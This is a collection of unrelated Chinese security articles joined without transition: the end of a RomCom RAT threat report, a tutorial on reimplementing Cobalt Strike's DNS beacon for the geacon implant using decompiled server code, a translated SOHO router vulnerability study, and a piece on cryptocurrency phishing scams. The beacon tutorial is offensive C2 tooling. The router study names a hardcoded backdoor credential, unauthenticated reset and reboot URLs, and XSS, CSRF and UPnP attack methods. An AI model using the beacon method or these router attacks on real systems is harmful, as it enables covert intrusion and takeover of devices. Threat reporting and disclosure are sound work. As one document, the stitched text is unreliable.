* **Setup.exe** –启动RomCom RAT dropper的文件：PDB C:\Users\123\source\repos\ins_asi\Win32\Release\setup.pdb
* **hlpr.dat** 是一个RomCom RAT dropper。
我们的团队跟踪了RomCom Netflows，发现了两个用乌克兰语伪造的KeePass和PDF Reader
Pro网站。这两个欺骗网站都在同一个URL上托管其服务条款页面，并暗示软件提供商由英国公司托管。
href="privacy/uk_privacy.html"
href="privacy/uk_term.html"
href="privacy/uk_disclaimer.html"
图7–乌克兰语KeePass欺骗网站
图8–乌克兰语PDF Reader Pro欺骗网站
黑莓研究和情报团队的Netflow分析还发现了一个新的C2，该C2于10月27日注册，使用模拟英国所有权的SSL证书：
发行人：C=GB，ST=大伦敦，L=哈蒙兹沃思，O=英国政府，OU=dgtlocean.com，CN=ca
dgtlocean.com/emailAddress=ca（at）mail.com
发行人：C=GB，ST=大伦敦，L=伦敦，O=政府数字服务，OU=you-supported.com，CN=ca you-supported.com/em
深度=0
C=GB，ST=英国，L=切斯特菲尔德，O=皇家邮政集团有限公司，OU=Group1，CN=Group1.A，电子邮件地址=server(at)mail.com
## **结论**
RomCom黑客正在积极部署针对乌克兰受害者和全球英语目标的新运动。根据TOS，英国的受害者可能是一个新的目标，而乌克兰仍然是主要焦点。
需要注意的是：
* 黑客构建的特洛伊木马捆绑包 **并不** 表示上述供应商遭到入侵
* 合法公司 **没有** 参与任何攻击
* 黑客创建了 **虚假网站** 来模仿真实网站
RomCom RAT，[古巴](https://blogs.blackberry.com/en/2021/04/threat-thursday-blackberry-protect-vs-cuba-ransomware)勒索软件和[工业间谍](https://www.msspalert.com/cybersecurity-breaches-and-attacks/ransomware/new-ransomware-family-industrial-spy-emerges-to-exfiltrate-data-extort-victims/)有[明显的联系](https://unit42.paloaltonetworks.com/cuba-ransomware-tropical-scorpius/)。工业间谍 是一个相对较新的勒索软件组织，于 2022 年 4
月出现。然而，考虑到目标的地理位置和特征，结合当前的地缘政治局势，目前尚不清楚RomCom黑客的真正动机是否纯粹是网络犯罪。
## **RomCom RAT IoC**
* * * | 社区文章 |
# 从零开始开发CS beacon（四）——DNSBeacon
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
前面我们已经实现了geacon针对不同profile的实现与功能优化，但是在实战里面，碰到很多不出tcp网的情况，所以以DNS上线也变得比较常见和重要了，特别在LINUX系统下，可能很多人用dnscat等工具，但由于不能与CS联动，觉得使用困难，并且crossc2项目也是没有实现DNSbeacon，所以本文以CS4.2为例子，了解dns
beacon通信过程，实现dns版geacon。
## 0x01 通信协议分析
CS DNS通信协议都在beacon目录的beaconDNS.class文件，我们来一步一步分析此过程：
首先通过wireshark抓包，看看DNS通信情况
可以看到有post,api等前缀的DNS请求记录，在源代码中可以看见，这里我都以aaa.bbb.dns.domain.com此域名作为演示：
public DNSServer.Response respond_nosync(String paramString, int paramInt) {
StringStack stringStack = new StringStack(paramString.toLowerCase(), ".");
if (stringStack.isEmpty())
return this.idlemsg;
String str = stringStack.shift();
if (str.length() == 3 && "stage".equals(stringStack.peekFirst()))
return serveStage(str);
if ("cdn".equals(str) || "api".equals(str) || "www6".equals(str)) {
stringStack = new StringStack(paramString.toLowerCase(), ".");
String str1 = stringStack.shift();
String str2 = stringStack.shift();
str = CommonUtils.toNumberFromHex(stringStack.shift(), 0) + "";
if (this.cache.contains(str, str2))
return this.cache.get(str, str2);
SendConversation sendConversation = null;
if ("cdn".equals(str1)) {
sendConversation = this.conversations.getSendConversationA(str, str1, str2);
} else if ("api".equals(str1)) {
sendConversation = this.conversations.getSendConversationTXT(str, str1, str2);
} else if ("www6".equals(str1)) {
sendConversation = this.conversations.getSendConversationAAAA(str, str1, str2);
}
* stringStack 通过点号分割
* 1-if: 判断stringStack是否为空
* 2-if：会判断aaa的长度是不是等于3，bbb的值是不是等于stage，在payload是Stager情况下，继续下载下一阶段shellcode（只有在host_stage为true时，dns_stager_prepend与dns_stager_subhost配置才有效）
* 3-if：如果是以cdn,api,www6情况下开头的字符串进入下一步判断
* 满足上述条件后，stringStack = new StringStack(paramString.toLowerCase(), “.”); 重新获取字符串进行分割
* 4-if：分割后，获取前三个字符串，判断第三个字符串包含第二个字符串，则获取记录。
* 5-if：如果以cdn开头，就进入getSendConversationA()，就是请求A记录解析
* 6-if：如果以api开头，就进入getSendConversationTXT()，就是请求TXT记录解析
* 7-if：如果以www6开头，就进入getSendConversationAAAA()，就是请求AAAA记录解析
通过这里就可以知道上面抓取流量包的意义了，继续分析下面代码：
if (!sendConversation.started() && paramInt == 16) {
response = DNSServer.TXT(new byte[0]);
} else if (!sendConversation.started()) {
byte[] arrayOfByte = this.controller.dump(str, 72000, 1048576);
if (arrayOfByte.length > 0) {
arrayOfByte = this.controller.getSymmetricCrypto().encrypt(str, arrayOfByte);
response = sendConversation.start(arrayOfByte);
} else if (paramInt == 28 && "www6".equals(str1)) {
response = DNSServer.AAAA(new byte[16]);
} else {
response = DNSServer.A(0L);
}
} else {
response = sendConversation.next();
}
if (sendConversation.isComplete())
this.conversations.removeConversation(str, str1, str2);
this.cache.add(str, str2, response);
return response;
}
这里就是实现了一个基本DNS功能，对不同记录查询实现应答和缓存。
## 0x02 主要处理流程
if ("www".equals(str) || "post".equals(str)) {
String str2 = "";
String str4 = stringStack.shift();
char c = str4.charAt(0);
stringStack = new StringStack(paramString.toLowerCase(), ".");
String str3 = stringStack.shift();
if (c == '1') {
String str5 = stringStack.shift().substring(1);
str2 = str5;
} else if (c == '2') {
String str5 = stringStack.shift().substring(1);
String str6 = stringStack.shift();
str2 = str5 + str6;
} else if (c == '3') {
String str5 = stringStack.shift().substring(1);
String str6 = stringStack.shift();
String str7 = stringStack.shift();
str2 = str5 + str6 + str7;
} else if (c == '4') {
String str5 = stringStack.shift().substring(1);
String str6 = stringStack.shift();
String str7 = stringStack.shift();
String str8 = stringStack.shift();
str2 = str5 + str6 + str7 + str8;
}
String str1 = stringStack.shift();
str = CommonUtils.toNumberFromHex(stringStack.shift(), 0) + "";
if (this.cache.contains(str, str1))
return this.cache.get(str, str1);
RecvConversation recvConversation = this.conversations.getRecvConversation(str, str3, str1);
recvConversation.next(str2);
if (recvConversation.isComplete()) {
this.conversations.removeConversation(str, str3, str1);
try {
byte[] arrayOfByte = recvConversation.result();
if (arrayOfByte.length == 0) {
CommonUtils.print_warn("Treated DNS request " + paramString + " (" + paramInt + ") as a non-C2 message");
} else if ("www".equals(str3)) {
this.controller.process_beacon_metadata(this.listener, "", arrayOfByte);
} else if ("post".equals(str3)) {
this.controller.process_beacon_callback(str, arrayOfByte);
}
} catch (Exception exception) {
MudgeSanity.logException("Corrupted DNS transaction? " + paramString + ", type: " + paramInt, exception, false);
}
}
this.cache.add(str, str1, this.idlemsg);
return this.idlemsg;
}
if (this.stager_subhost != null && paramString.length() > 4 && paramString.toLowerCase().substring(3).startsWith(this.stager_subhost))
return serveStage(paramString.substring(0, 3));
if (CommonUtils.isHexNumber(str) && CommonUtils.isDNSBeacon(str)) {
str = CommonUtils.toNumberFromHex(str, 0) + "";
this.cache.purge();
this.conversations.purge();
this.controller.getCheckinListener().update(str, System.currentTimeMillis(), null, false);
return this.controller.isCheckinRequired(str) ? DNSServer.A(this.controller.checkinMask(str, this.idlemask)) : this.idlemsg;
}
CommonUtils.print_info("DNS: ignoring " + paramString);
return this.idlemsg;
}
这里我还是以一个流程图表示：
例如post.3ffaebe446b4c94719706c6720b1f18622cf8d9ed213058be2b642899.91db6ba3d82a4f60ee471c38858a22aecd3c64e517eaf311d7bec439.a41b34adce38be69148fa99999c68e2b221619567514ea017f8fe413.17457222e.5ff222fa.dns.domain.com，可以得到变量对应值如下：
* str5=ffaebe446b4c94719706c6720b12286f1cf8d9ed213058be2b642899
* str6=91db6ba3d82a4f60ee471c38858a22aecd3c64e517eaf311d7bec439
* str7=a41b34adce38be69148fa99999c68e2b221619567514ea017f8fe413
* str2=str5+str6+str7
* str3=post
* str1=17457222e
* str=5ff222fa
DNS记录开头对应的含义与上线顺序如下，都会先以A记录的方式把metadata传输到服务端，才能切换到DNS TXT模式：
1. 4fbffdfe 以这样16进制开头，表示task id，会用于上线和后续传输
2. www开头表示metadata信息使用A记录传输
3. api开头表示切换为TXT传输
4. cdn开头表示为A记录传输
5. www6开头表示为AAAA记录传输
6. post开头表示执行对应指令，参考上面示例解析
## 0x03 生成一个上线的demo
在beacondns.class中下面代码就是用于第一次上线，因为dns server会丢弃掉非CS beacon的查询，所以要做如下判断：
if (CommonUtils.isHexNumber(str) && CommonUtils.isDNSBeacon(str)) {
str = CommonUtils.toNumberFromHex(str, 0) + "";
this.cache.purge();
this.conversations.purge();
this.controller.getCheckinListener().update(str, System.currentTimeMillis(), null, false);
return this.controller.isCheckinRequired(str) ? DNSServer.A(this.controller.checkinMask(str, this.idlemask)) : this.idlemsg;
}
isDNSBeacon：
public static boolean isDNSBeacon(String paramString) {
long l = toNumberFromHex(paramString, 0);
return (l > 0L && (l & 0x4B2L) == 1202L);
}
public static int toNumberFromHex(String paramString, int paramInt) {
try {
return Integer.parseInt(paramString, 16);
} catch (Exception exception) {
return paramInt;
}
}
这里用golang实现此功能就行，效果如下：
最终通过模仿通信的方式，传输几段A记录，就可以上线如下：
## 0x04 总结
本文主要通过阅读CS
源代码流程，了解处理逻辑，在通过wireshark抓包，使用客户端模拟通信DNS请求。主要实现了meta原信息的传输，命令获取，传输执行结果，基本只要对geacon的各个http请求换成DNS
笛卡儿积的请求，因为功能性的函数基本与Geacon一样，这里主要处理DNS延迟与丢包等问题。所以在客户端实现时，可以优化整个传输的过程，提高效率。
## 0x05参考
探测CS的DNS beacon服务器：<https://paper.seebug.org/1568/#01-stager>
dns 重定向:<https://f44z.com/posts/cobalt-strike-opsec-dns> | 社区文章 |
# 【技术分享】22款品牌路由器的漏洞分布报告
##### 译文声明
本文是翻译文章，文章来源：sicherheitsforschung-magdeburg.de
原文地址：<http://www.sicherheitsforschung-magdeburg.de/uploads/journal/MJS_054_Rueda_SOHORouter.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[紫曦归来](http://bobao.360.cn/member/contribute?uid=2937531371)
预估稿费：260RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**摘要**
随着网络犯罪手法不断翻新，家用路由器近日也成为网络攻击的新目标。事实上，家用路由器的确存在着大量的安全漏洞。Álvaro Folgado
Rueda等多名网络安全专家近日撰写了一份报告，深入分析SOHO路由器的安全隐患，并针对家用路由器的最新攻击源展开研究。研究发现，22个知名品牌的路由器存在60余个尚未公开的安全漏洞。这也意味着路由器厂商仍须进一步提升其产品的安全性能。该报告中罗列了一系列存在于家用路由器中的安全漏洞，如果上述漏洞被黑客利用，造成的后果将不堪设想。
**1、引言**
****
随着信息时代的到来，小办公室/家庭办公室（Small office Home
office，SOHO）的工作方式，因其具有传统办公无法比拟的灵活性、创造性等优点很快被社会大众所接受。SOHO计算机和网络的普及促使家庭办公逐渐成为当今一种白领时尚，也引领其一股SOHO文化热。
SOHO路由器，即小办公室家庭办公室用的路由器是实现家庭办公必不可少的装备。如果
SOHO路由器中存在漏洞将大大影响整个家庭网络系统的安全性，同时也对用户的隐私造成极大威胁。
在过去的几年时间内，也有C. Heffner等专家针对SOHO路由器的安全问题进行了相关研究。这些研究的目标主要是：
（1）通过寻找可能存在的漏洞问题，评估当前网络安全等级。
（2）针对新的攻击源展开研究
（3）研发能够检测出漏洞的工具。
（4）为后续研究提出方法论依据。
路由器的制造商以及互联网服务提供商也将针对该领域研究成果对产品进行安全升级。
**2、路由器相关知识**
****
所有路由器都为终端用户提供了各种形式的配置方式。
（1）Web配置界面（Web
Interface）：一个用户友好型的Web配置界面有助于用户随时进行设备更改和调试（如图1所示）。当然，访问Web配置界面需要进行身份验证。
图1
（2）命令行界面（command-line
interface）：通过命令行界面用户同样可以对路由器进行操作、设置。命令行界面可通过终端模拟器来访问，用户可利用计算机上已经安装的终端模拟器，在终端模拟器的窗口键入命令并获得从路由器返回的信息（如图2所示）。
图2
路由器除了可以使用上述两种方式进行配置外，还可使用诸如FTP和SMB服务器等方式进行配置。此外，路由器还可采用“即插即用”（Universal Plug
and Play， **UPnP**
）方式进行配置。但使用FTP或Telnet等方式进行配置存在一定安全隐患，更安全的方法是选择更为高级的SFTP和SSH协议。值得注意的一点是，纳入本研究的大部分路由器都默认启用了UPnP协议，
**从而可以允许未经身份验证的攻击者更改路由器的关键配置设置** 。
大多数路由器所提供的服务对于用户来说都是多余且无用的， **这些功能有时反而被黑客利用实施网络攻击**
。此外，研究显示路由器开放端口的数量过多，这一点即使对于有远程WAN的连接来说也是过多了。
研究发现，路由器还普遍存在一个安全隐患，即使用公开的默认密码就可以进入路由器配置界面。（如图3所示）本研究中纳入评估的所有路由器均未使用随机生成的字符串作为默认密码，而是使用了公开的默认密码，而这些用户又不修改默认密码，这使得黑客对路由器实施网络攻击变得更加容易。
图3
**3、安全漏洞**
****
通过分析路由器存在的各类安全漏洞，研究发现黑客从不同的位置对路由器实施攻击：
（1）有线连接到受害者的局域网内。在这一案例中，攻击者使用以太网电缆连接到受害者的局域网，并对其实施攻击。
（2）无线连接到受害者的局域网内。这种形式的网络攻击经常发生在提供免费Wi-Fi热点的路边餐厅或咖啡店。
（3）远程攻击。虽然攻击者在受害者的本地网络之外，但用户使用了存在漏洞的路由器，这使他们极易遭受网络攻击。远程攻击可针对某一个特点目标进行，同时也可以通过僵尸网络等形式无目标地感染多台设备。
攻击者可利用远程漏洞，例如利用公开的路由器连接端口密钥，从而利用那些只能在受害者本地电脑设备利用的漏洞。研究发现，目前广泛使用的路由器存在着多种漏洞。
**3.1 跨站请求伪造（CSRF）**
跨站请求伪造（Cross-site request
forgery）通过向受害者发送特定的恶意链接来更改路由器的配置设置。攻击者常使用远程攻击的方式更改合法的DNS设置。从而使得攻击者可以掌握受害者的隐私设置，并将浏览器请求指向恶意网站，并最终构建一个僵尸网络。
当受害者已经登录导路由器的Web配置界面后，该攻击才能顺利进行。但是，Web配置界面的登录密码可以嵌入到恶意URL中。如果管理员（administrator）的密码从未被更改过（这一点在我们研究的案例中极为普遍），则攻击就可以顺利进行。如图4所示，部分浏览器将针对登录尝试弹出警告消息框；但诸如Google
Chrome浏览器等常用的浏览器均未显示任何警告。如此，攻击行动可以在受害者毫无察觉的情况下进行。
图4
例如，以下URL利用公共默认凭证1更改了Observa Telecom
AW4062路由器的DNS设置。通过BitLy和OwLy等URL短网址工具，链接可以变得很短或者被混淆。如图5所示，缩短的链接容易被用户忽视。
图5
同样，包含恶意参数的网站也可以通过这种做法蒙混过关，如图6所示。
图6
通过共享社交网站上的链接，或者使用一些能够鼓励用户打开恶意URL的社会工程学技巧，可以增强网络攻击的影响面。
**3.2 持久型跨站脚本（XSS）**
XSS攻击通常是指黑客在Web配置界面植入恶意脚本，从而对用户实施会话劫持（Session hijacking）和感染浏览器（browser
infection）的攻击。攻击者可通过向受害者发送恶意链接实施远程攻击（与CSRF攻击类似，如图7所示）；如果用户的密码从未更改过，攻击者可对其实施本地攻击（如图8所示）。
图7
图8
在被发现的XSS攻击中，脚本代码均会保留在Web配置界面中。根据路由器型号的不同，脚本执行可能会在注入后立即进行，也可能在访问某个网页（如主页）时进行。部分输入栏中只能输入有限个数的字符。为了避免这种限制，
**BeEF** （The Browser Exploitation Framework
project）是比较流行的web框架攻击平台。通过XSS这个简单的漏洞，BeEF可以通过一段构造好的javascript脚本控制目标主机的浏览器，通过浏览器拿到各种信息并且扫描内网信息，同时能够配合metasploit进一步渗透主机，强大的有些吓人。下面的URL显示了使用BeEF
hooks2进行XSS开发的示例。图9所示就是受感染的浏览器。
图9
**3.3未经身份验证的跨站脚本攻击**
在特殊情况下，执行脚本代码注入可以在没有任何登陆的情况下实施本地攻击。这主要是通过发送一个包含恶意脚本的动态主机配置协议（DHCP）数据单元（PDU）来实现的，如图10所示，当发送了一个具有有效参数的PDU后（例如客户端MAC地址或恶意主机名），路由器将回复一个DCHP
ACK，之后恶意脚本将植入到Connected Clients的桌面。
图10
攻击过程如图11所示。恶意的动态主机配置协议PDU可使用以下几种方式发送：
允许更改主机名参数的自定义脚本
数据包处理工具（如Scapy等）
dhclient -H <hostname>命令
/etc/hostname文件修改
图11
**3.4特权升级**
没有管理员权限的本地或远程用户可以通过特权升级从而成为管理员。攻击者利用隐藏的非管理用户的存在，使用默认密码。通过将这些没有特权的用户连接到路由器FTP服务器，攻击者可以下载/etc/passwd和config.xml文件，如图12所示。最后一个是以明文形式存储所有路由器的配置参数，包括所有用户的密码。文件的一部分如图13所示。这样做，任何用户都可以获得管理员权限。
图12
图13
**3.5 信息泄露**
无需任何登录过程，外部攻击者就能获取目标路由器的重要信息，如Wi-Fi密码和WLAN参数、Internet配置以及连接用户列表等。这些安全隐患一般由不当的文件权限和意外的调试信息造成。在某些情况下，受支持API（例如JSON）的配置不当，会导致路由器定期发布包含关键信息的无保护文件，如图14所示，而获取这些重要信息就如同访问公开文件（图15）或网页一样简单（图16）。
图15
图16
**3.6后门**
隐藏管理员帐户对于终端用户来说完全不可见，这使得任何攻击者都能够通过Web界面或拨号网络随意更改路由器配置设置。图17显示了一个名为“admin”的后门管理员帐户，其密码为“7449airocon”。该账户仅出现在备份XML配置文件中，无法被删除。
图17
**3.7旁路认证**
未经身份验证的攻击者可以通过不当文件权限或是错误服务配置，实现路由器配置更改。
在几个路由器型号中，攻击者可以通过不断访问/rebootinfo.cgi
URL来实现永久拒绝服务，如图18所示。攻击者还可以访问/restoreinfo.cgi
URL强制重置路由器至默认配置（图19）。之后，任何用户都可以使用默认凭据登录该路由器。
图18
图19
在两次未经身份验证的攻击中，路由器都会回复HTTP
400状态码，但其实际正在执行重新启动或是重置设置的操作。集成在一些设备中的SMB文件共享服务，可能会因为共享外连接特性的一处错误配置，导致严重的安全风险。未经身份验证的攻击者可以利用这一漏洞，通过本地或远程连接Samba服务器，从而下载整个路由器文件系统。如图20和21所示，在这种共享服务（称为存储）中，能够允许路由器文件系统创建符号链接（symbolic
links），并下载其中内容。
图20
图21
攻击者因此可以自由查看和下载路由器的整个文件系统，包括密码和配置文件等。使用put和mput内置命令上传修改文件或新文件到路由器同样可行。许多型号路由器均支持Twonky
Media
Server服务，若存在配置错误，将允许外部攻击者操纵连接到路由器的USB存储设备，从而在不需要任何登录过程的情况下，执行包括下载，修改，删除和上传文件在内的操作。为了做到这一点，攻击者只需要根据9000端口来访问路由器IP就能完成，如图22所示。
图22
**3.8 UPnP协议（通用即插即用协议）**
多数路由器型号均默认采用UPnP协议。这一协议旨在为不同家用设备之间的连接提供便利。举个例子，UPnP协议可以允许计算机应用程序更改网络配置，比如打开端口，以便在用户不进行干预的情况下增强性能。
由于在进行配置更改时缺乏认证环节，UPnP协议其实极其不安全。不仅如此，路由器厂商的实现手段通常也十分糟糕，这无形中为攻击者提供了许多可用攻击手段，包括为远程WAN主机打开重要端口，终止任何WAN连接，以及执行命令盲注攻击（Blind
Command
Injection）等等。为了在本地利用UPnP协议漏洞，我们强烈建议使用一款名为Miranda的客户端工具。首先，我们将组播传输SSDP协议的PDU，目的是确定网络中支持的设备，如图23所示。
图23
家用路由器通常会支持多项UPnP协议操作，但从攻击者的角度来看，“添加端口映射”（AddPortMapping）和“强制终止”（ForceTermination）是最为实用的。图24中显示了这些可用选项。
图24
由于该协议的实现并不理想，且NewInternalClient参数未得到准确检查，使未经身份验证的攻击者能够打开连接远程WAN主机的端口，如图25所示。
图25
一旦受攻击者访问包含恶意SWF文件的特定网站，就能实现UPnP协议漏洞远程利用。这个Flash文件正悄然执行着“添加端口映射”操作（或任何UPnP协议支持的选项），并在后台更改防火墙设置。由此，在重要端口对WAN主机开放的情况下，远程攻击者将能对本地相关安全漏洞进行利用。图26是该攻击的图解说明。
图26
**4、工具**
****
通过研究，我们制作了多种漏洞利用工具。
（1） **SendDHCPRequest** 。可以向网络中的任一DHCP服务器发送带有自定义参数的恶意DHCP 协议请求
PDU。该工具可用于未授权XSS攻击。
图27
（2） **ChangeHostname** 。改变计算机主机名的简单脚本。该工具可用于未授权XSS攻击。
图28
（3） **SMBExploit** 。该工具将在目标的共享服务中创建一个符号链接。如果路由器存在漏洞，将可以被下载整个文件系统。其主要可用于SMB
Symlink攻击。
图29
此外，这些被发现的漏洞将添加到 **RouterPwn** 项目，用户和研究人员可以因此更为方便地检查设备存在的漏洞。
**5、审计报告**
****
我们目前已经发现超过60个此前未经公开的安全漏洞，影响了22种不同型号的SOHO路由器。大多数路由器在西班牙都非常受欢迎，而互联网服务提供商愿意将这些产品推销给客户。
**Amper，Astoria，Belkin，Comtrend，D-Link，华为，Linksys，Netgear，Observa
Telecom，Sagemcom和Zyxe** l等厂商的路由器设备都存在多重安全漏洞，如图30所示。
图30
图31按类型展示了漏洞分布情况。
图31
表1和表2展示了一份包含所有漏洞，以及受影响路由器型号的综合列表。
表1
表2
所有被发现的漏洞都已上报设备厂商和网络服务供应商，方便他们能够尽快解决问题；以及建立多个漏洞数据库，如MITR（CVE-ID）或OSVDB。在向厂商提供足够的时间后，我们披露了这些漏洞。
**6、结论**
****
迄今取得的成果表明，绝大多数SOHO路由器都受到了严重的安全漏洞影响，其中一些非常严重，很容易遭到网络犯罪分子利用，使终端用户和小型企业陷入安全威胁当中。我们能够得出结论，路由器的安全性在过去几年内其实并未得到改善。事实上，这些不断涌现的新型安全漏洞和攻击性载体，反而丰富了攻击者的“武器库”。
设备厂商和互联网服务供应商应该共同努力，以解决目前影响SOHO路由器的庞大的安全问题。在漏洞分析过程的基础上，我们开发了多种漏洞利用工具以及一种审计方法，目的是为研究人员未来的工作提供便利。 | 社区文章 |
# 在加密货币领域，信任的代价是惨痛的
|
##### 译文声明
本文是翻译文章，文章来源：securelist.com
原文地址：<https://securelist.com/in-cryptoland-trust-can-be-costly/86367/>
译文仅供参考，具体内容表达以及含义原文为准。
虽然加密货币的合法地位以及相应的法律规范还有待敲定，但诈骗者们却仍然在忙于挖掘这一数字淘金热的诈骗价值。除了黑掉加密货币交易所、利用智能合约漏洞和部署恶意挖矿软件之外，网络犯罪分子还会采用更传统的社工方法窃取价值数百万美元的加密货币。而且，他们的目标非常广，基本上涵盖了所有对加密货币感兴趣的人，而绝不仅仅是加密货币钱包的持有者。
明白加密货币的原理，以及加密货币钱包地址和私钥意味着什么，有助于我们了解诈骗者们是如何窃取钱财的。
加密货币基于使用公钥和私钥的非对称加密。钱包地址允许任何人向其中转账，它可以从公钥生成，而公钥又通过算法根据私钥来生成。因为所有钱包交易都需要私钥，所以诈骗者们对此很感兴趣。但请注意，攻击者并不总是想要受害者的私钥——其目标通常是让受害者将自己的资金转移到诈骗者账户中。让我们慢慢道来。
## 经典的网络钓鱼
### 加密货币交易所和钱包上的身份认证
买卖加密货币都是通过交易所这种专业服务机构来进行。交易所还提供加密存储服务，为客户持有的每种货币发行钱包，并为用户存储私钥。自然地，如果诈骗者获得了相关账户的身份认证信息，他们也就获得了其中加密货币的访问权限。这解释了为什么冒充流行加密货币交易网站的钓鱼网站如此之多。这些钓鱼网站通常非常具有迷惑性，除了URL不同之外，其与官方网站几无二致。
另一种方法是渗透进交易平台并从用户账户中窃取加密货币。最近的一个事件来自韩国。该国最大的交易所Bithumb在被黑客窃取价值3200万美元的加密货币之后被迫暂停服务。而在此之前的2017年7月，Bithumb内部员工的电脑就遭到黑客入侵，3000名用户的详细个人信息被盗，随后黑客利用钓鱼等手段欺骗用户交出登录凭证，并以此盗取了大量加密货币。另一个韩国老牌交易所Youbit，甚至在去年年底遭到黑客攻击而丢失17%的资产，并最终导致破产。
因此，很多用户更喜欢将加密货币储存在自己的“钱包”中，其中包括两种类型：在线钱包和离线钱包（桌面、硬件、纸），也就是俗称的热钱包和冷钱包。热钱包并不比存储在交易所更安全：其私钥委托给第三方，钱包用户无法控制。被认为最安全的硬件钱包（生成和内部存储不可恢复的私钥的物理设备），在交易时，所有的操作都在钱包内执行，只有电子签名在外部发送。
攻击者访问热钱包的方法与经典的钓鱼手段并无二致：他们常常会创建模仿目标网站的身份认证页面的网页。将受害者引向虚假钓鱼网页的链接一般通过邮件来分发，邮件中包含诸如用户账号被封锁或出现异常等能引起用户恐慌的典型信息。这个圈套就是为了说服用户让他们必须通过身份识别才能防止资金丢失。
深入观察钓鱼网站的脚本，会发现很明显除了登录名和密码之外，诈骗者还会搜集IP地址和用户代理字符串等信息，他们可以用这些数据伪装成账户所有人（冒用身份）来绕过一些反欺诈系统。
### 虚假注册
对那些没有钱包的人，诈骗者有一套单独的方案，通过允诺各种注册“红利”（比如奖励一笔加密货币）来引诱受害者前往假冒的钱包网站。
最简单的网络钓鱼页面只是收集用户的个人信息，然后将他们重定向到真正的官方站点。更危险的钓鱼页面则能用受害者的数据注册一个真实的钱包。结果，受害者在他们“注册”的邮箱中收到了确认消息，并且的确在真实网站上拥有了一个账户，从而使他们掉进一种虚假的安全感中。但是，他们的钱包账户从一开始就是不安全的，所以只要有资金进入其中就会被迅速盗走。
看上去似乎只有热钱包和交易所才是网络钓鱼攻击者的目标，但事实并非如此。例如假冒的MyEherWallet（一种方便使用储存在PC本地的加密货币进行交易的解决方案）也非常多。
假冒页面上的注册程序与官方程序完全相同，甚至连访问账户资金时需要下载的密码库文件都一样。在假冒页面注册后，用户的私钥就已经泄漏了，所有转移到这个钱包中的代币最后都会落到诈骗者的口袋。
### 假冒移动应用
另一个攻击途径是通过官方应用商店分发的假冒加密货币存储软件。这些程序的下载量通常都是top级的，就像假冒的MyEherWallet APP曾经雄踞App
Store最受欢迎的金融App排行榜第三名一样。
### 投资
根据CoinSchedule
2018年的统计数据，截至7月初，今年已经举行了427次ICO，募集资金总额超过了100亿美元。巨额资金、天花乱坠的宣传、很多国家缺乏立法监管，自然就使ICO成为了诈骗者们的目标。
窃取钱财最常见的方法之一就是向潜在投资者发送钓鱼邮件。当一项ICO被宣布时，通常会收集对此感兴趣的人的邮件地址，以便向他们发送诸如开始销售代币之类的通知。但潜在投资者们详细信息的资料库有可能落入坏人手中。在这种情况下，在ICO实际开始前不久，诈骗者就会发送邮件告知他们代币销售（或预售轮次）已经开始，并声明让投资者将代币转移到指定的钱包地址。
另一种常见的方法就是创建模仿官方ICO项目的虚假网站。
这些假冒网站不仅会通过邮件、短信、社交网络进行传播，而且还会通过主流搜索引擎广告进行推广。
ICO项目越受欢迎，假冒网站的数量就越多，以假乱真的水平就越高。比如Telegram的ICO项目目前保持了最高的融资纪录，有专业机构就发现许多利用此事件的网络钓鱼站点，其中一些看起来还非常专业。而且，受害者将资金转移到的钱包地址是为每个“投资者”单独创建的，这就使得追回资金变得更加困难。
## 代币分发
### 空投
加密货币空投是一种推广新的尚未在交易所上市的数字货币的营销方式。任何人都可以通过做某些推进这一项目的事情来换得一笔“空投”代币，比如关注该项目的Twitter账户、转发或撰写相关博客。
诈骗者同样会使用类似的手段来吸引用户访问本不存在的空投网站，在注册之后，受害者会被引导到验证钱包账户的钓鱼网站，并被要求输入私钥或网络犯罪分子可以用来窃取资金的其他个人信息。
讽刺的是，这种钓鱼页面的传播竟然是受害者们自己通过转发和关注假冒公司的社交媒体账号来完成的。
### 馈赠
最常见的诱饵之一是以“贡献一点，得到很多”之名，做出免费赠币的承诺。诈骗者称，用户的初始贡献是以验证钱包为目的。为了使承诺更有说服力，诈骗者会出示一个交易清单，其上显示了其他用户的资金是如何神奇地成倍增加的，但事实上，这仅仅是一张看上去漂亮的清单而已。
实际上，所有的资金都流到了诈骗者的钱包，这只需简单地检查一下对应钱包的交易即可确认。这种手段非常简单，但似乎还有很多用户上当。如上图所示，仅仅一个站点就收到了405.43ETH的“捐款”，约合24.5万美元。
网络犯罪分子经常假大家熟知的加密货币钱包、交易所或ICO之名，行诈骗之实：
有时，宣布馈赠代币是为了感谢用户或标志着公司的成功；而假冒网页上关于获得收益的虚假评论则会让受害者纷纷上钩。
乍一看，上图中的链接指向的是Bitfinex网站，但其实用户被重定向到了网络钓鱼页面：
虚假代币馈赠同样会假借著名项目的名义。在过去几年里，Twitter已经成为假冒知名公司和人物账户的温床，而这通常会以某种方式与加密货币行业联系在一起。比如Twitter上就有很多假冒Vitalik
Buterin（以太坊联合创始人）名字的账户发布有关以太坊社区馈赠100
ETH的信息。为了得到这些馈赠的代币，用户需要将特定数量的ETH转移到指定钱包。诈骗者通常会以回复、转发帖子的形式来传播这些信息。
因为Buterin的名字经常被诈骗者利用，所以他将自己的账户名称改为Vitalik“Not give away ETH”Buterin：
虚假账户通常在账号名称右侧没有社交网络平台的官方认证标识，只有很少的关注者，并且注册时间很短。但是蓝色的认证标识并不代表绝对可靠：曾经就有网络犯罪分子购买过认证账户并更改账户名称的情况（比如改成Telegram创始人Pavel
Durov的名字）。
如果蹭上相关的热点新闻，攻击就会更加成功。例如，当Telegram遭到攻击并且Pavel Durov发布了关于此事的推文时，众多假冒Pavel
Durov的账号都发推文以他的名义提供5-100 ETH的“补偿”。为了获得“补偿”，用户必须点击一个链接到相应网页，并将一定的金额转移到指定的钱包。
也有很多假冒Elon Musk（特斯拉和SpaceX创始人）的账户，发布大额“馈赠”各种加密货币的推文，同样地，假冒账户承诺，如果用户将0.3-2
ETH转账到指定钱包，就会获得10倍的收益。推文中的链接指向的网站与上面提到的类似，其中会指定一个钱包地址，并且会频繁显示“交易列表”。诈骗者使用机器人来增加虚假账户推文消息的喜欢数量，并进行热情而积极的评论。
据估计，诈骗者们以受信任账户之名在社交网络上获取的代币价值约合490万美元。
